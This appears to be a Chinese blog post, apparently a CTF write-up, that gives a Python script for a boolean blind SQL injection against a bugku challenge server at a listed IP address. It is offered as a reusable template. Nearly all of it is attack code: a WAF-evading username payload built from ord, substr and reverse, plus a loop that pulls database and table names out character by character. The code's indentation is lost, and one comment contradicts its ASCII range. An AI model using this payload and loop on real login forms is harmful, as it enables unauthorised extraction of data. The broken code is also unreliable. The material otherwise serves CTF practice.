#记录下bugku中的一道布尔盲注题目“sql注入”
import requests as req
#Post 类型的bool盲注
#过滤了','没法用mid,substr,left 截取 试试substr(()from()for())
url="http://114.67.246.176:17306/"
#bugku项目的url地址
s=req.session()
#创建session对象
select="database()"
select2="select group_concat(table_name) from information_schema.tables where table_schema=database()"
#查询语句
res=''
#结果保存在res
#i是枚举字符的位数,从第一位开始枚举
#ascii从a开始枚举到z
for i in range(1,100):
for ascii in range(32,128):
data = {
'username':f"a'or(ord(substr(reverse(substr(({select})from({i})))from(9-{i})))<>{ascii})#",
'password': 'asd'
}
#对post的数据username进行sql盲注
#这里由于有waf过滤掉了',','for'等字符使众多方法失效
#构造payload:or(ord(substr(reverse(substr(({select})from({i})))from(9-{i})))<>{ascii})#
#里面的9是事先测出的database()的长度
r=s.post(url=url,data=data)
if "username does not exist!" in r.text:
res+=chr(ascii)
print(res)
break
if ascii ==127:
exit(0)
基于post方法的sql布尔型盲注模板
最新推荐文章于 2024-03-21 14:56:30 发布